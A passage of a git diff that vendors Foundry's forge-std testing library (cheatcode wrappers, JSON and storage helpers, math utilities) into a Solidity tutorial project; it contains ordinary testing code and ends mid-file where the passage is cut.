+        artifact.txReturns = rawArtifact.txReturns;
+        artifact.receipts = rawToConvertedReceipts(rawArtifact.receipts);
+        artifact.transactions = rawToConvertedEIPTx1559s(rawArtifact.transactions);
+        return artifact;
+    }
+
+    function rawToConvertedEIPTx1559s(RawTx1559[] memory rawTxs) internal pure virtual returns (Tx1559[] memory) {
+        Tx1559[] memory txs = new Tx1559[](rawTxs.length);
+        for (uint256 i; i < rawTxs.length; i++) {
+            txs[i] = rawToConvertedEIPTx1559(rawTxs[i]);
+        }
+        return txs;
+    }
+
+    function rawToConvertedEIPTx1559(RawTx1559 memory rawTx) internal pure virtual returns (Tx1559 memory) {
+        Tx1559 memory transaction;
+        transaction.arguments = rawTx.arguments;
+        transaction.contractName = rawTx.contractName;
+        transaction.functionSig = rawTx.functionSig;
+        transaction.hash = rawTx.hash;
+        transaction.txDetail = rawToConvertedEIP1559Detail(rawTx.txDetail);
+        transaction.opcode = rawTx.opcode;
+        return transaction;
+    }
+
+    function rawToConvertedEIP1559Detail(RawTx1559Detail memory rawDetail) internal pure virtual returns (Tx1559Detail memory) {
+        Tx1559Detail memory txDetail;
+        txDetail.data = rawDetail.data;
+        txDetail.from = rawDetail.from;
+        txDetail.to = rawDetail.to;
+        txDetail.nonce = _bytesToUint(rawDetail.nonce);
+        txDetail.txType = _bytesToUint(rawDetail.txType);
+        txDetail.value = _bytesToUint(rawDetail.value);
+        txDetail.gas = _bytesToUint(rawDetail.gas);
+        txDetail.accessList = rawDetail.accessList;
+        return txDetail;
+    }
+
+    function readTx1559s(string memory path) internal view virtual returns (Tx1559[] memory) {
+        string memory deployData = vm.readFile(path);
+        bytes memory parsedDeployData = vm.parseJson(deployData, '.transactions');
+        RawTx1559[] memory rawTxs = abi.decode(parsedDeployData, (RawTx1559[]));
+        return rawToConvertedEIPTx1559s(rawTxs);
+    }
+
+    function readTx1559(string memory path, uint256 index) internal view virtual returns (Tx1559 memory) {
+        string memory deployData = vm.readFile(path);
+        string memory key = string(abi.encodePacked('.transactions[', vm.toString(index), ']'));
+        bytes memory parsedDeployData = vm.parseJson(deployData, key);
+        RawTx1559 memory rawTx = abi.decode(parsedDeployData, (RawTx1559));
+        return rawToConvertedEIPTx1559(rawTx);
+    }
+
+    // Analogous to readTransactions, but for receipts.
+    function readReceipts(string memory path) internal view virtual returns (Receipt[] memory) {
+        string memory deployData = vm.readFile(path);
+        bytes memory parsedDeployData = vm.parseJson(deployData, '.receipts');
+        RawReceipt[] memory rawReceipts = abi.decode(parsedDeployData, (RawReceipt[]));
+        return rawToConvertedReceipts(rawReceipts);
+    }
+
+    function readReceipt(string memory path, uint256 index) internal view virtual returns (Receipt memory) {
+        string memory deployData = vm.readFile(path);
+        string memory key = string(abi.encodePacked('.receipts[', vm.toString(index), ']'));
+        bytes memory parsedDeployData = vm.parseJson(deployData, key);
+        RawReceipt memory rawReceipt = abi.decode(parsedDeployData, (RawReceipt));
+        return rawToConvertedReceipt(rawReceipt);
+    }
+
+    function rawToConvertedReceipts(RawReceipt[] memory rawReceipts) internal pure virtual returns (Receipt[] memory) {
+        Receipt[] memory receipts = new Receipt[](rawReceipts.length);
+        for (uint256 i; i < rawReceipts.length; i++) {
+            receipts[i] = rawToConvertedReceipt(rawReceipts[i]);
+        }
+        return receipts;
+    }
+
+    function rawToConvertedReceipt(RawReceipt memory rawReceipt) internal pure virtual returns (Receipt memory) {
+        Receipt memory receipt;
+        receipt.blockHash = rawReceipt.blockHash;
+        receipt.to = rawReceipt.to;
+        receipt.from = rawReceipt.from;
+        receipt.contractAddress = rawReceipt.contractAddress;
+        receipt.effectiveGasPrice = _bytesToUint(rawReceipt.effectiveGasPrice);
+        receipt.cumulativeGasUsed = _bytesToUint(rawReceipt.cumulativeGasUsed);
+        receipt.gasUsed = _bytesToUint(rawReceipt.gasUsed);
+        receipt.status = _bytesToUint(rawReceipt.status);
+        receipt.transactionIndex = _bytesToUint(rawReceipt.transactionIndex);
+        receipt.blockNumber = _bytesToUint(rawReceipt.blockNumber);
+        receipt.logs = rawToConvertedReceiptLogs(rawReceipt.logs);
+        receipt.logsBloom = rawReceipt.logsBloom;
+        receipt.transactionHash = rawReceipt.transactionHash;
+        return receipt;
+    }
+
+    function rawToConvertedReceiptLogs(RawReceiptLog[] memory rawLogs) internal pure virtual returns (ReceiptLog[] memory) {
+        ReceiptLog[] memory logs = new ReceiptLog[](rawLogs.length);
+        for (uint256 i; i < rawLogs.length; i++) {
+            logs[i].logAddress = rawLogs[i].logAddress;
+            logs[i].blockHash = rawLogs[i].blockHash;
+            logs[i].blockNumber = _bytesToUint(rawLogs[i].blockNumber);
+            logs[i].data = rawLogs[i].data;
+            logs[i].logIndex = _bytesToUint(rawLogs[i].logIndex);
+            logs[i].topics = rawLogs[i].topics;
+            logs[i].transactionIndex = _bytesToUint(rawLogs[i].transactionIndex);
+            logs[i].transactionLogIndex = _bytesToUint(rawLogs[i].transactionLogIndex);
+            logs[i].removed = rawLogs[i].removed;
+        }
+        return logs;
+    }
+
+    // Deploy a contract by fetching the contract bytecode from
+    // the artifacts directory
+    // e.g. `deployCode(code, abi.encode(arg1,arg2,arg3))`
+    function deployCode(string memory what, bytes memory args) internal virtual returns (address addr) {
+        bytes memory bytecode = abi.encodePacked(vm.getCode(what), args);
+        /// @solidity memory-safe-assembly
+        assembly {
+            addr := create(0, add(bytecode, 0x20), mload(bytecode))
+        }
+
+        require(addr != address(0), 'StdCheats deployCode(string,bytes): Deployment failed.');
+    }
+
+    function deployCode(string memory what) internal virtual returns (address addr) {
+        bytes memory bytecode = vm.getCode(what);
+        /// @solidity memory-safe-assembly
+        assembly {
+            addr := create(0, add(bytecode, 0x20), mload(bytecode))
+        }
+
+        require(addr != address(0), 'StdCheats deployCode(string): Deployment failed.');
+    }
+
+    /// @dev deploy contract with value on construction
+    function deployCode(string memory what, bytes memory args, uint256 val) internal virtual returns (address addr) {
+        bytes memory bytecode = abi.encodePacked(vm.getCode(what), args);
+        /// @solidity memory-safe-assembly
+        assembly {
+            addr := create(val, add(bytecode, 0x20), mload(bytecode))
+        }
+
+        require(addr != address(0), 'StdCheats deployCode(string,bytes,uint256): Deployment failed.');
+    }
+
+    function deployCode(string memory what, uint256 val) internal virtual returns (address addr) {
+        bytes memory bytecode = vm.getCode(what);
+        /// @solidity memory-safe-assembly
+        assembly {
+            addr := create(val, add(bytecode, 0x20), mload(bytecode))
+        }
+
+        require(addr != address(0), 'StdCheats deployCode(string,uint256): Deployment failed.');
+    }
+
+    // creates a labeled address and the corresponding private key
+    function makeAddrAndKey(string memory name) internal virtual returns (address addr, uint256 privateKey) {
+        privateKey = uint256(keccak256(abi.encodePacked(name)));
+        addr = vm.addr(privateKey);
+        vm.label(addr, name);
+    }
+
+    // creates a labeled address
+    function makeAddr(string memory name) internal virtual returns (address addr) {
+        (addr, ) = makeAddrAndKey(name);
+    }
+
+    // Destroys an account immediately, sending the balance to beneficiary.
+    // Destroying means: balance will be zero, code will be empty, and nonce will be 0
+    // This is similar to selfdestruct but not identical: selfdestruct destroys code and nonce
+    // only after tx ends, this will run immediately.
+    function destroyAccount(address who, address beneficiary) internal virtual {
+        uint256 currBalance = who.balance;
+        vm.etch(who, abi.encode());
+        vm.deal(who, 0);
+        vm.resetNonce(who);
+
+        uint256 beneficiaryBalance = beneficiary.balance;
+        vm.deal(beneficiary, currBalance + beneficiaryBalance);
+    }
+
+    // creates a struct containing both a labeled address and the corresponding private key
+    function makeAccount(string memory name) internal virtual returns (Account memory account) {
+        (account.addr, account.key) = makeAddrAndKey(name);
+    }
+
+    function deriveRememberKey(string memory mnemonic, uint32 index) internal virtual returns (address who, uint256 privateKey) {
+        privateKey = vm.deriveKey(mnemonic, index);
+        who = vm.rememberKey(privateKey);
+    }
+
+    function _bytesToUint(bytes memory b) private pure returns (uint256) {
+        require(b.length <= 32, 'StdCheats _bytesToUint(bytes): Bytes length exceeds 32.');
+        return abi.decode(abi.encodePacked(new bytes(32 - b.length), b), (uint256));
+    }
+
+    function isFork() internal view virtual returns (bool status) {
+        try vm.activeFork() {
+            status = true;
+        } catch (bytes memory) {}
+    }
+
+    modifier skipWhenForking() {
+        if (!isFork()) {
+            _;
+        }
+    }
+
+    modifier skipWhenNotForking() {
+        if (isFork()) {
+            _;
+        }
+    }
+
+    modifier noGasMetering() {
+        vm.pauseGasMetering();
+        // To prevent turning gas monitoring back on with nested functions that use this modifier,
+        // we check if gasMetering started in the off position. If it did, we don't want to turn
+        // it back on until we exit the top level function that used the modifier
+        //
+        // i.e. funcA() noGasMetering { funcB() }, where funcB has noGasMetering as well.
+        // funcA will have `gasStartedOff` as false, funcB will have it as true,
+        // so we only turn metering back on at the end of the funcA
+        bool gasStartedOff = gasMeteringOff;
+        gasMeteringOff = true;
+
+        _;
+
+        // if gas metering was on when this modifier was called, turn it back on at the end
+        if (!gasStartedOff) {
+            gasMeteringOff = false;
+            vm.resumeGasMetering();
+        }
+    }
+
+    // We use this complex approach of `_viewChainId` and `_pureChainId` to ensure there are no
+    // compiler warnings when accessing chain ID in any solidity version supported by forge-std. We
+    // can't simply access the chain ID in a normal view or pure function because the solc View Pure
+    // Checker changed `chainid` from pure to view in 0.8.0.
+    function _viewChainId() private view returns (uint256 chainId) {
+        // Assembly required since `block.chainid` was introduced in 0.8.0.
+        assembly {
+            chainId := chainid()
+        }
+
+        address(this); // Silence warnings in older Solc versions.
+    }
+
+    function _pureChainId() private pure returns (uint256 chainId) {
+        function() internal view returns (uint256) fnIn = _viewChainId;
+        function() internal pure returns (uint256) pureChainId;
+        assembly {
+            pureChainId := fnIn
+        }
+        chainId = pureChainId();
+    }
+}
+
+// Wrappers around cheatcodes to avoid footguns
+abstract contract StdCheats is StdCheatsSafe {
+    using stdStorage for StdStorage;
+
+    StdStorage private stdstore;
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+    address private constant CONSOLE2_ADDRESS = 0x000000000000000000636F6e736F6c652e6c6f67;
+
+    // Skip forward or rewind time by the specified number of seconds
+    function skip(uint256 time) internal virtual {
+        vm.warp(block.timestamp + time);
+    }
+
+    function rewind(uint256 time) internal virtual {
+        vm.warp(block.timestamp - time);
+    }
+
+    // Setup a prank from an address that has some ether
+    function hoax(address msgSender) internal virtual {
+        vm.deal(msgSender, 1 << 128);
+        vm.prank(msgSender);
+    }
+
+    function hoax(address msgSender, uint256 give) internal virtual {
+        vm.deal(msgSender, give);
+        vm.prank(msgSender);
+    }
+
+    function hoax(address msgSender, address origin) internal virtual {
+        vm.deal(msgSender, 1 << 128);
+        vm.prank(msgSender, origin);
+    }
+
+    function hoax(address msgSender, address origin, uint256 give) internal virtual {
+        vm.deal(msgSender, give);
+        vm.prank(msgSender, origin);
+    }
+
+    // Start perpetual prank from an address that has some ether
+    function startHoax(address msgSender) internal virtual {
+        vm.deal(msgSender, 1 << 128);
+        vm.startPrank(msgSender);
+    }
+
+    function startHoax(address msgSender, uint256 give) internal virtual {
+        vm.deal(msgSender, give);
+        vm.startPrank(msgSender);
+    }
+
+    // Start perpetual prank from an address that has some ether
+    // tx.origin is set to the origin parameter
+    function startHoax(address msgSender, address origin) internal virtual {
+        vm.deal(msgSender, 1 << 128);
+        vm.startPrank(msgSender, origin);
+    }
+
+    function startHoax(address msgSender, address origin, uint256 give) internal virtual {
+        vm.deal(msgSender, give);
+        vm.startPrank(msgSender, origin);
+    }
+
+    function changePrank(address msgSender) internal virtual {
+        console2_log_StdCheats('changePrank is deprecated. Please use vm.startPrank instead.');
+        vm.stopPrank();
+        vm.startPrank(msgSender);
+    }
+
+    function changePrank(address msgSender, address txOrigin) internal virtual {
+        vm.stopPrank();
+        vm.startPrank(msgSender, txOrigin);
+    }
+
+    // The same as Vm's `deal`
+    // Use the alternative signature for ERC20 tokens
+    function deal(address to, uint256 give) internal virtual {
+        vm.deal(to, give);
+    }
+
+    // Set the balance of an account for any ERC20 token
+    // Use the alternative signature to update `totalSupply`
+    function deal(address token, address to, uint256 give) internal virtual {
+        deal(token, to, give, false);
+    }
+
+    // Set the balance of an account for any ERC1155 token
+    // Use the alternative signature to update `totalSupply`
+    function dealERC1155(address token, address to, uint256 id, uint256 give) internal virtual {
+        dealERC1155(token, to, id, give, false);
+    }
+
+    function deal(address token, address to, uint256 give, bool adjust) internal virtual {
+        // get current balance
+        (, bytes memory balData) = token.staticcall(abi.encodeWithSelector(0x70a08231, to));
+        uint256 prevBal = abi.decode(balData, (uint256));
+
+        // update balance
+        stdstore.target(token).sig(0x70a08231).with_key(to).checked_write(give);
+
+        // update total supply
+        if (adjust) {
+            (, bytes memory totSupData) = token.staticcall(abi.encodeWithSelector(0x18160ddd));
+            uint256 totSup = abi.decode(totSupData, (uint256));
+            if (give < prevBal) {
+                totSup -= (prevBal - give);
+            } else {
+                totSup += (give - prevBal);
+            }
+            stdstore.target(token).sig(0x18160ddd).checked_write(totSup);
+        }
+    }
+
+    function dealERC1155(address token, address to, uint256 id, uint256 give, bool adjust) internal virtual {
+        // get current balance
+        (, bytes memory balData) = token.staticcall(abi.encodeWithSelector(0x00fdd58e, to, id));
+        uint256 prevBal = abi.decode(balData, (uint256));
+
+        // update balance
+        stdstore.target(token).sig(0x00fdd58e).with_key(to).with_key(id).checked_write(give);
+
+        // update total supply
+        if (adjust) {
+            (, bytes memory totSupData) = token.staticcall(abi.encodeWithSelector(0xbd85b039, id));
+            require(totSupData.length != 0, 'StdCheats deal(address,address,uint,uint,bool): target contract is not ERC1155Supply.');
+            uint256 totSup = abi.decode(totSupData, (uint256));
+            if (give < prevBal) {
+                totSup -= (prevBal - give);
+            } else {
+                totSup += (give - prevBal);
+            }
+            stdstore.target(token).sig(0xbd85b039).with_key(id).checked_write(totSup);
+        }
+    }
+
+    function dealERC721(address token, address to, uint256 id) internal virtual {
+        // check if token id is already minted and the actual owner.
+        (bool successMinted, bytes memory ownerData) = token.staticcall(abi.encodeWithSelector(0x6352211e, id));
+        require(successMinted, 'StdCheats deal(address,address,uint,bool): id not minted.');
+
+        // get owner current balance
+        (, bytes memory fromBalData) = token.staticcall(abi.encodeWithSelector(0x70a08231, abi.decode(ownerData, (address))));
+        uint256 fromPrevBal = abi.decode(fromBalData, (uint256));
+
+        // get new user current balance
+        (, bytes memory toBalData) = token.staticcall(abi.encodeWithSelector(0x70a08231, to));
+        uint256 toPrevBal = abi.decode(toBalData, (uint256));
+
+        // update balances
+        stdstore.target(token).sig(0x70a08231).with_key(abi.decode(ownerData, (address))).checked_write(--fromPrevBal);
+        stdstore.target(token).sig(0x70a08231).with_key(to).checked_write(++toPrevBal);
+
+        // update owner
+        stdstore.target(token).sig(0x6352211e).with_key(id).checked_write(to);
+    }
+
+    function deployCodeTo(string memory what, address where) internal virtual {
+        deployCodeTo(what, '', 0, where);
+    }
+
+    function deployCodeTo(string memory what, bytes memory args, address where) internal virtual {
+        deployCodeTo(what, args, 0, where);
+    }
+
+    function deployCodeTo(string memory what, bytes memory args, uint256 value, address where) internal virtual {
+        bytes memory creationCode = vm.getCode(what);
+        vm.etch(where, abi.encodePacked(creationCode, args));
+        (bool success, bytes memory runtimeBytecode) = where.call{value: value}('');
+        require(success, 'StdCheats deployCodeTo(string,bytes,uint256,address): Failed to create runtime bytecode.');
+        vm.etch(where, runtimeBytecode);
+    }
+
+    // Used to prevent the compilation of console, which shortens the compilation time when console is not used elsewhere.
+    function console2_log_StdCheats(string memory p0) private view {
+        (bool status, ) = address(CONSOLE2_ADDRESS).staticcall(abi.encodeWithSignature('log(string)', p0));
+        status;
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdError.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdError.sol
new file mode 100644
index 000000000..0dd57fbbd
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdError.sol
@@ -0,0 +1,15 @@
+// SPDX-License-Identifier: MIT
+// Panics work for versions >=0.8.0, but we lowered the pragma to make this compatible with Test
+pragma solidity >=0.6.2 <0.9.0;
+
+library stdError {
+    bytes public constant assertionError = abi.encodeWithSignature('Panic(uint256)', 0x01);
+    bytes public constant arithmeticError = abi.encodeWithSignature('Panic(uint256)', 0x11);
+    bytes public constant divisionError = abi.encodeWithSignature('Panic(uint256)', 0x12);
+    bytes public constant enumConversionError = abi.encodeWithSignature('Panic(uint256)', 0x21);
+    bytes public constant encodeStorageError = abi.encodeWithSignature('Panic(uint256)', 0x22);
+    bytes public constant popError = abi.encodeWithSignature('Panic(uint256)', 0x31);
+    bytes public constant indexOOBError = abi.encodeWithSignature('Panic(uint256)', 0x32);
+    bytes public constant memOverflowError = abi.encodeWithSignature('Panic(uint256)', 0x41);
+    bytes public constant zeroVarError = abi.encodeWithSignature('Panic(uint256)', 0x51);
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdInvariant.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdInvariant.sol
new file mode 100644
index 000000000..bcd9ac0a7
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdInvariant.sol
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+abstract contract StdInvariant {
+    struct FuzzSelector {
+        address addr;
+        bytes4[] selectors;
+    }
+
+    struct FuzzInterface {
+        address addr;
+        string[] artifacts;
+    }
+
+    address[] private _excludedContracts;
+    address[] private _excludedSenders;
+    address[] private _targetedContracts;
+    address[] private _targetedSenders;
+
+    string[] private _excludedArtifacts;
+    string[] private _targetedArtifacts;
+
+    FuzzSelector[] private _targetedArtifactSelectors;
+    FuzzSelector[] private _targetedSelectors;
+
+    FuzzInterface[] private _targetedInterfaces;
+
+    // Functions for users:
+    // These are intended to be called in tests.
+
+    function excludeContract(address newExcludedContract_) internal {
+        _excludedContracts.push(newExcludedContract_);
+    }
+
+    function excludeSender(address newExcludedSender_) internal {
+        _excludedSenders.push(newExcludedSender_);
+    }
+
+    function excludeArtifact(string memory newExcludedArtifact_) internal {
+        _excludedArtifacts.push(newExcludedArtifact_);
+    }
+
+    function targetArtifact(string memory newTargetedArtifact_) internal {
+        _targetedArtifacts.push(newTargetedArtifact_);
+    }
+
+    function targetArtifactSelector(FuzzSelector memory newTargetedArtifactSelector_) internal {
+        _targetedArtifactSelectors.push(newTargetedArtifactSelector_);
+    }
+
+    function targetContract(address newTargetedContract_) internal {
+        _targetedContracts.push(newTargetedContract_);
+    }
+
+    function targetSelector(FuzzSelector memory newTargetedSelector_) internal {
+        _targetedSelectors.push(newTargetedSelector_);
+    }
+
+    function targetSender(address newTargetedSender_) internal {
+        _targetedSenders.push(newTargetedSender_);
+    }
+
+    function targetInterface(FuzzInterface memory newTargetedInterface_) internal {
+        _targetedInterfaces.push(newTargetedInterface_);
+    }
+
+    // Functions for forge:
+    // These are called by forge to run invariant tests and don't need to be called in tests.
+
+    function excludeArtifacts() public view returns (string[] memory excludedArtifacts_) {
+        excludedArtifacts_ = _excludedArtifacts;
+    }
+
+    function excludeContracts() public view returns (address[] memory excludedContracts_) {
+        excludedContracts_ = _excludedContracts;
+    }
+
+    function excludeSenders() public view returns (address[] memory excludedSenders_) {
+        excludedSenders_ = _excludedSenders;
+    }
+
+    function targetArtifacts() public view returns (string[] memory targetedArtifacts_) {
+        targetedArtifacts_ = _targetedArtifacts;
+    }
+
+    function targetArtifactSelectors() public view returns (FuzzSelector[] memory targetedArtifactSelectors_) {
+        targetedArtifactSelectors_ = _targetedArtifactSelectors;
+    }
+
+    function targetContracts() public view returns (address[] memory targetedContracts_) {
+        targetedContracts_ = _targetedContracts;
+    }
+
+    function targetSelectors() public view returns (FuzzSelector[] memory targetedSelectors_) {
+        targetedSelectors_ = _targetedSelectors;
+    }
+
+    function targetSenders() public view returns (address[] memory targetedSenders_) {
+        targetedSenders_ = _targetedSenders;
+    }
+
+    function targetInterfaces() public view returns (FuzzInterface[] memory targetedInterfaces_) {
+        targetedInterfaces_ = _targetedInterfaces;
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdJson.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdJson.sol
new file mode 100644
index 000000000..a5f76e612
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdJson.sol
@@ -0,0 +1,155 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.0 <0.9.0;
+
+pragma experimental ABIEncoderV2;
+
+import {VmSafe} from './Vm.sol';
+
+// Helpers for parsing and writing JSON files
+// To parse:
+// ```
+// using stdJson for string;
+// string memory json = vm.readFile("<some_path>");
+// json.readUint("<json_path>");
+// ```
+// To write:
+// ```
+// using stdJson for string;
+// string memory json = "json";
+// json.serialize("a", uint256(123));
+// string memory semiFinal = json.serialize("b", string("test"));
+// string memory finalJson = json.serialize("c", semiFinal);
+// finalJson.write("<some_path>");
+// ```
+
+library stdJson {
+    VmSafe private constant vm = VmSafe(address(uint160(uint256(keccak256('hevm cheat code')))));
+
+    function parseRaw(string memory json, string memory key) internal pure returns (bytes memory) {
+        return vm.parseJson(json, key);
+    }
+
+    function readUint(string memory json, string memory key) internal pure returns (uint256) {
+        return vm.parseJsonUint(json, key);
+    }
+
+    function readUintArray(string memory json, string memory key) internal pure returns (uint256[] memory) {
+        return vm.parseJsonUintArray(json, key);
+    }
+
+    function readInt(string memory json, string memory key) internal pure returns (int256) {
+        return vm.parseJsonInt(json, key);
+    }
+
+    function readIntArray(string memory json, string memory key) internal pure returns (int256[] memory) {
+        return vm.parseJsonIntArray(json, key);
+    }
+
+    function readBytes32(string memory json, string memory key) internal pure returns (bytes32) {
+        return vm.parseJsonBytes32(json, key);
+    }
+
+    function readBytes32Array(string memory json, string memory key) internal pure returns (bytes32[] memory) {
+        return vm.parseJsonBytes32Array(json, key);
+    }
+
+    function readString(string memory json, string memory key) internal pure returns (string memory) {
+        return vm.parseJsonString(json, key);
+    }
+
+    function readStringArray(string memory json, string memory key) internal pure returns (string[] memory) {
+        return vm.parseJsonStringArray(json, key);
+    }
+
+    function readAddress(string memory json, string memory key) internal pure returns (address) {
+        return vm.parseJsonAddress(json, key);
+    }
+
+    function readAddressArray(string memory json, string memory key) internal pure returns (address[] memory) {
+        return vm.parseJsonAddressArray(json, key);
+    }
+
+    function readBool(string memory json, string memory key) internal pure returns (bool) {
+        return vm.parseJsonBool(json, key);
+    }
+
+    function readBoolArray(string memory json, string memory key) internal pure returns (bool[] memory) {
+        return vm.parseJsonBoolArray(json, key);
+    }
+
+    function readBytes(string memory json, string memory key) internal pure returns (bytes memory) {
+        return vm.parseJsonBytes(json, key);
+    }
+
+    function readBytesArray(string memory json, string memory key) internal pure returns (bytes[] memory) {
+        return vm.parseJsonBytesArray(json, key);
+    }
+
+    function serialize(string memory jsonKey, string memory rootObject) internal returns (string memory) {
+        return vm.serializeJson(jsonKey, rootObject);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bool value) internal returns (string memory) {
+        return vm.serializeBool(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bool[] memory value) internal returns (string memory) {
+        return vm.serializeBool(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, uint256 value) internal returns (string memory) {
+        return vm.serializeUint(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, uint256[] memory value) internal returns (string memory) {
+        return vm.serializeUint(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, int256 value) internal returns (string memory) {
+        return vm.serializeInt(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, int256[] memory value) internal returns (string memory) {
+        return vm.serializeInt(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, address value) internal returns (string memory) {
+        return vm.serializeAddress(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, address[] memory value) internal returns (string memory) {
+        return vm.serializeAddress(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes32 value) internal returns (string memory) {
+        return vm.serializeBytes32(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes32[] memory value) internal returns (string memory) {
+        return vm.serializeBytes32(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes memory value) internal returns (string memory) {
+        return vm.serializeBytes(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, bytes[] memory value) internal returns (string memory) {
+        return vm.serializeBytes(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, string memory value) internal returns (string memory) {
+        return vm.serializeString(jsonKey, key, value);
+    }
+
+    function serialize(string memory jsonKey, string memory key, string[] memory value) internal returns (string memory) {
+        return vm.serializeString(jsonKey, key, value);
+    }
+
+    function write(string memory jsonKey, string memory path) internal {
+        vm.writeJson(jsonKey, path);
+    }
+
+    function write(string memory jsonKey, string memory path, string memory valueKey) internal {
+        vm.writeJson(jsonKey, path, valueKey);
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdMath.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdMath.sol
new file mode 100644
index 000000000..7501f273c
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdMath.sol
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+library stdMath {
+    int256 private constant INT256_MIN = -57896044618658097711785492504343953926634992332820282019728792003956564819968;
+
+    function abs(int256 a) internal pure returns (uint256) {
+        // Required or it will fail when `a = type(int256).min`
+        if (a == INT256_MIN) {
+            return 57896044618658097711785492504343953926634992332820282019728792003956564819968;
+        }
+
+        return uint256(a > 0 ? a : -a);
+    }
+
+    function delta(uint256 a, uint256 b) internal pure returns (uint256) {
+        return a > b ? a - b : b - a;
+    }
+
+    function delta(int256 a, int256 b) internal pure returns (uint256) {
+        // a and b are of the same sign
+        // this works thanks to two's complement, the left-most bit is the sign bit
+        if ((a ^ b) > -1) {
+            return delta(abs(a), abs(b));
+        }
+
+        // a and b are of opposite signs
+        return abs(a) + abs(b);
+    }
+
+    function percentDelta(uint256 a, uint256 b) internal pure returns (uint256) {
+        uint256 absDelta = delta(a, b);
+
+        return (absDelta * 1e18) / b;
+    }
+
+    function percentDelta(int256 a, int256 b) internal pure returns (uint256) {
+        uint256 absDelta = delta(a, b);
+        uint256 absB = abs(b);
+
+        return (absDelta * 1e18) / absB;
+    }
+}
diff --git a/basic/41-foundry/my_project/lib/forge-std/src/StdStorage.sol b/basic/41-foundry/my_project/lib/forge-std/src/StdStorage.sol
new file mode 100644
index 000000000..bb24a7b9f
--- /dev/null
+++ b/basic/41-foundry/my_project/lib/forge-std/src/StdStorage.sol
@@ -0,0 +1,461 @@
+// SPDX-License-Identifier: MIT
+pragma solidity >=0.6.2 <0.9.0;
+
+import {Vm} from './Vm.sol';
+
+struct FindData {
+    uint256 slot;
+    uint256 offsetLeft;
+    uint256 offsetRight;
+    bool found;
+}
+
+struct StdStorage {
+    mapping(address => mapping(bytes4 => mapping(bytes32 => FindData))) finds;
+    bytes32[] _keys;
+    bytes4 _sig;
+    uint256 _depth;
+    address _target;
+    bytes32 _set;
+    bool _enable_packed_slots;
+    bytes _calldata;
+}
+
+library stdStorageSafe {
+    event SlotFound(address who, bytes4 fsig, bytes32 keysHash, uint256 slot);
+    event WARNING_UninitedSlot(address who, uint256 slot);
+
+    Vm private constant vm = Vm(address(uint160(uint256(keccak256('hevm cheat code')))));
+    uint256 constant UINT256_MAX = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
+
+    function sigs(string memory sigStr) internal pure returns (bytes4) {
+        return bytes4(keccak256(bytes(sigStr)));
+    }
+
+    function getCallParams(StdStorage storage self) internal view returns (bytes memory) {
+        if (self._calldata.length == 0) {
+            return flatten(self._keys);
+        } else {
+            return self._calldata;
+        }
+    }
+
+    // Calls target contract with configured parameters
+    function callTarget(StdStorage storage self) internal view returns (bool, bytes32) {
+        bytes memory cald = abi.encodePacked(self._sig, getCallParams(self));
+        (bool success, bytes memory rdat) = self._target.staticcall(cald);
+        bytes32 result = bytesToBytes32(rdat, 32 * self._depth);
+
+        return (success, result);
+    }
+
+    // Tries mutating slot value to determine if the targeted value is stored in it.
+    // If current value is 0, then we are setting slot value to type(uint256).max
+    // Otherwise, we set it to 0. That way, return value should always be affected.
+    function checkSlotMutatesCall(StdStorage storage self, bytes32 slot) internal returns (bool) {
+        bytes32 prevSlotValue = vm.load(self._target, slot);
+        (bool success, bytes32 prevReturnValue) = callTarget(self);
+
+        bytes32 testVal = prevReturnValue == bytes32(0) ? bytes32(UINT256_MAX) : bytes32(0);
+        vm.store(self._target, slot, testVal);
+
+        (, bytes32 newReturnValue) = callTarget(self);
+
+        vm.store(self._target, slot, prevSlotValue);
+
+        return (success && (prevReturnValue != newReturnValue));
+    }
+
+    // Tries setting one of the bits in slot to 1 until return value changes.
+    // Index of resulted bit is an offset packed slot has from left/right side
+    function findOffset(StdStorage storage self, bytes32 slot, bool left) internal returns (bool, uint256) {
+        for (uint256 offset = 0; offset < 256; offset++) {
+            uint256 valueToPut = left ? (1 << (255 - offset)) : (1 << offset);
+            vm.store(self._target, slot, bytes32(valueToPut));
+
+            (bool success, bytes32 data) = callTarget(self);
+
+            if (success && (uint256(data) > 0)) {
+                return (true, offset);
+            }
+        }
+        return (false, 0);
+    }
+
+    function findOffsets(StdStorage storage self, bytes32 slot) internal returns (bool, uint256, uint256) {
+        bytes32 prevSlotValue = vm.load(self._target, slot);
+
+        (bool foundLeft, uint256 offsetLeft) = findOffset(self, slot, true);
+        (bool foundRight, uint256 offsetRight) = findOffset(self, slot, false);
+
